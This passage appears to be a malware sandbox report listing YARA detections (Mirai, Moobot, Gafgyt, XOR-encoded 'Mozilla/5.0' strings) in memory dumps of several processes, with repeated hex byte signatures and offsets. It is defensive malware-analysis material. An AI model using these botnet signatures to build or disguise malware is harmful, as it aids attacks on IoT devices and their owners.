78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6737.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6662.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6342.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6342.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6342.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6342.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6342.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6342.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7309.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7309.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7309.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7309.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7309.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7309.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6931.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6931.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6931.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6931.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6931.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6931.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6261.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6661.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6661.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6661.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6661.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6661.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6661.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7358.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7358.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7358.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7358.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7358.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7358.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7009.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7009.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7009.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7009.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7009.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7009.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
